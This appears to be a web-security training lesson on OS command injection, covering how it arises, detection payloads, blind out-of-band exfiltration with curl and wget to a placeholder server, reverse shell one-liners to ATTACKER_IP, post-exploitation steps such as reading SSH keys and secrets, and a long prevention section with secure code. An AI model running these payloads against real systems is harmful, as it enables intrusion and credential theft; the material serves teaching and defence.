Web Application Security

OS Command Injection

When user input reaches a shell - detecting, exploiting, and chaining command injection to full RCE.

Hard 22 mincommand-injectionrceshell

The server builds a shell command using data you supplied and executes it. You can add your own shell operators to that command. The server executes those too. That sentence is the entire threat model for OS command injection - and it has been used to achieve root-level remote code execution on cloud servers, CI/CD pipelines, network appliances, and web applications belonging to companies from startups to Fortune 500s. SQL injection attacks the database. Command injection attacks the operating system.

Test Only With Explicit Authorization

OS command injection provides interactive access to the underlying server - it is remote code execution. Running these tests against any system you do not own or have written authorization to test is illegal. Even in authorized testing, be careful: commands like rm -rf, fork bombs, or network scanners can impact other users of a shared system. Use safe, non-destructive payloads first.

How Command Injection Happens

An application needs to call an OS-level utility: ping an IP for diagnostics, convert an image, look up DNS, call zip, ffmpeg, wkhtmltopdf, or nmap. The fastest way to do this is to take the user input and hand it to the shell:

# VULNERABLE: user input concatenated into a shell command
import subprocess
hostname = request.args.get('host')
output = subprocess.check_output(f"ping -c 1 {hostname}", shell=True)

If the user supplies 8.8.8.8, the command is ping -c 1 8.8.8.8 - perfectly benign.

If the user supplies 8.8.8.8; cat /etc/passwd, the shell interprets it as:

ping -c 1 8.8.8.8 ; cat /etc/passwd

Both commands execute. The second one reads the passwd file and its output is returned.

The problem is shell=True - this invokes /bin/sh -c "...", which interprets all shell metacharacters. Without shell=True, the subprocess receives an argument array and no shell metacharacter interpretation happens.

Shell Metacharacters and Injection Points

These are the characters that instruct the shell to do something structural - execute a second command, substitute a value, redirect output:

CharacterEffect
;Execute next command regardless of previous exit status
&&Execute next command only if previous succeeded
||Execute next command only if previous failed
|Pipe stdout of first command to stdin of second
` (backtick)Command substitution - execute and substitute output
$()Command substitution (modern syntax)
\n (newline)Separate commands like ;
%0aURL-encoded newline - same effect in HTTP parameters
>, >>Redirect output to file
<Read input from file
&Run command in background

Any of these, if injected into a shell command, can extend or redirect execution.

Detecting Command Injection

Basic Separator Testing

The fastest initial test is appending a ; sleep 5 or && sleep 5 to a parameter and measuring response time. If the response is 5 seconds slower, something executed your sleep command.

kali@vr4cs: ~
 

If you see the delay, the server executed your sleep 5. You have confirmed command injection.

Output-Based Detection

If the application returns command output, try:

; whoami
; id
; uname -a
; cat /etc/passwd
&& id
| id
$(id)
` + "`" + `id` + "`"

A response containing root, www-data, or nobody confirms successful code execution. In Burp Repeater, modify the parameter, send, and examine the response body.

Separators Across Different Contexts

Different injection points accept different separators. Test all of them:

kali@vr4cs: ~
 

Blind / Time-Based Detection

Often the application executes the command but does not return any output to you. The response is the same whether injection succeeded or failed. Use these side-channel techniques:

Time Delay

host=8.8.8.8; sleep 10
host=8.8.8.8 && ping -c 10 127.0.0.1

A delayed response confirms execution. This works on both Linux (sleep, ping with count) and Windows (ping -n 10 127.0.0.1).

Out-of-Band DNS/HTTP

Trigger a DNS lookup or HTTP request to a server you control (Burp Collaborator, interactsh, your own VPS):

host=8.8.8.8; nslookup your-collaborator-id.burpcollaborator.net
host=8.8.8.8; curl http://your-vps.com/?q=$(whoami)
host=8.8.8.8; wget http://your-vps.com/$(hostname)

The first variant confirms command injection via DNS lookup. The second and third exfiltrate data (like the output of whoami or hostname) via the URL path or query parameter. Your Collaborator/interactsh console shows the incoming request including that data.

Burp Collaborator for Blind Injection

In Burp Suite Professional, Burp Collaborator generates unique subdomains. Any DNS resolution or HTTP request to these subdomains appears in your Collaborator polling results. This is the standard technique for confirming blind command injection without modifying the target's observable behavior.

File Write as Confirmation

Write a file to a predictable web-accessible path:

host=8.8.8.8; echo "OWNED" > /var/www/html/test.txt

Then fetch https://target.com/test.txt. If it returns "OWNED", you confirmed both execution and the web root path.

Context-Specific Injection Patterns

JSON and API Parameters

Command injection is not limited to form fields. API parameters, JSON bodies, HTTP headers, and even filenames in multipart uploads can all be injection points:

POST /api/convert
Content-Type: application/json
 
{"filename": "report.pdf; id > /var/www/html/out.txt"}

Or via a User-Agent header if the application logs it and passes it to a shell command:

User-Agent: Mozilla; id

Argument Injection

Even without shell metacharacters, you can sometimes inject command-line arguments:

host=--output=/var/www/html/shell.php
host=-v -o /tmp/test

This is not classic "command injection" but is in the same family of "the user controls more of the command than intended."

Template and Build Pipelines

CI/CD systems, template engines, and build tools frequently shell out. Parameter injection in:

  • GitHub Actions runner labels
  • Jenkins build parameters (see BreachCallout below)
  • docker build --build-arg values passed through to shell steps
  • GitLab CI/CD variables
  • Makefile targets invoked with user-controlled paths

Real Exploits: What Happens After RCE

Once you confirm arbitrary command execution, an attacker's typical next steps:

  1. Confirm context: id; whoami; uname -a; cat /etc/os-release
  2. Read sensitive data: cat /etc/passwd; cat ~/.ssh/id_rsa; env (environment variables often contain DB passwords and API keys)
  3. Reverse shell - replace the command injection with a shell that connects back:
# Reverse shell - set ATTACKER_IP / PORT to your own listener:
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1

Or the URL-safe version (pipes tend to need encoding):

# Reverse shell (URL-safe) - set ATTACKER_IP / PORT to your own listener:
bash -c 'bash -i >%26 /dev/tcp/ATTACKER_IP/PORT 0>%261'

Listener on attacker's machine:

kali@vr4cs: ~
 
  1. Privilege escalation: from www-data to root via SUID binaries, sudo misconfigs, or kernel exploits.
  2. Persistence: add SSH public key to ~/.ssh/authorized_keys, create a cron job, plant a bind shell.

Seen in the wild · GitLab

Real HackerOne breakdown

A researcher discovered that GitLab's internal invocation of Git commands passed user-controlled values (such as branch names and commit ref parameters) through to shell commands without sufficient sanitization. By crafting a branch name containing shell metacharacters and injection sequences, it was possible to achieve remote code execution on the GitLab server. The vulnerability was triggered simply by pushing a specially named branch to a GitLab repository. GitLab triaged the issue as critical, issued an emergency patch requiring all instances to update, and awarded a maximum-tier bug bounty. The fix was to pass all user-controlled data as explicit argument arrays to subprocess calls, never as part of an interpolated shell string, and to validate branch/tag names against a strict allowlist of permitted characters.

Prevention

1. Never Use Shell=True With User Input

The primary fix is architectural: stop building shell strings from user input. Use parameterized subprocess calls:

# VULNERABLE
subprocess.check_output(f"ping -c 1 {host}", shell=True)
 
# SECURE - no shell, arguments are an array
subprocess.check_output(["ping", "-c", "1", host], shell=False)

With shell=False, the OS passes host directly as an argument to ping. No shell is invoked. Shell metacharacters in host are treated as literal string characters.

In Node.js:

// VULNERABLE
const { exec } = require('child_process');
exec(`ping -c 1 ${host}`, callback);  // shell interprets metacharacters
 
// SECURE
const { execFile } = require('child_process');
execFile('ping', ['-c', '1', host], callback);  // no shell

2. Input Validation (Defense in Depth)

Validate user input against a strict allowlist before using it at all:

import re
 
def validate_hostname(host: str) -> str:
    # Only allow alphanumeric, dots, hyphens (valid DNS chars)
    if not re.match(r'^[a-zA-Z0-9.\-]{1,253}$', host):
        raise ValueError("Invalid hostname")
    return host

For IP addresses: parse with ipaddress.ip_address() - if it raises, it is not an IP.

3. Avoid Shell Commands Entirely

For common operations, use library equivalents instead of shelling out:

Instead of shelling out to...Use a library
pingsocket.connect() or icmplib
dns lookupsocket.getaddrinfo() or dnspython
zip / tarzipfile / tarfile modules
ffmpegffmpeg-python binding
whoispython-whois library
curl / wgetrequests

Eliminating the shell command eliminates the injection surface.

4. Principle of Least Privilege

The web server process should run as a low-privilege user (www-data, nobody) with minimal filesystem permissions. Command injection as www-data is serious, but cannot immediately read /root/ or write to system paths. Use AppArmor or seccomp profiles to further restrict what the process can execute.

5. Web Application Firewall (Defense in Depth Only)

WAF rules can detect common injection patterns (;id, |whoami, $(cmd)). This is not a primary control - WAFs are bypassable with encoding and obfuscation - but they are a useful layer for detecting attacks in logs and adding time cost for an attacker.

Escaping Is Not Enough

Escaping shell metacharacters (e.g., with shlex.quote() in Python or escapeshellarg() in PHP) is better than nothing, but it is not the recommended fix. Escaping functions have historical vulnerabilities, locale-dependent behavior, and are easy to forget. The correct approach is to avoid building shell strings at all - use parameterized subprocess calls.

Key Takeaways

  • Command injection occurs when user input is concatenated into a shell command, allowing shell metacharacters (;, |, &&, $()) to inject additional commands.
  • Detect it with time-delay payloads (; sleep 5) when output is visible, and with out-of-band DNS/HTTP callbacks (Burp Collaborator) when the response gives no indication.
  • After confirming command injection, attackers establish a reverse shell, read credentials from environment variables and config files, and attempt privilege escalation.
  • The primary fix is shell=False with an argument array in subprocess calls - never build shell strings from user input.
  • Defense in depth: validate input against an allowlist of expected characters, use library equivalents instead of shelling out, run the process as a low-privilege user.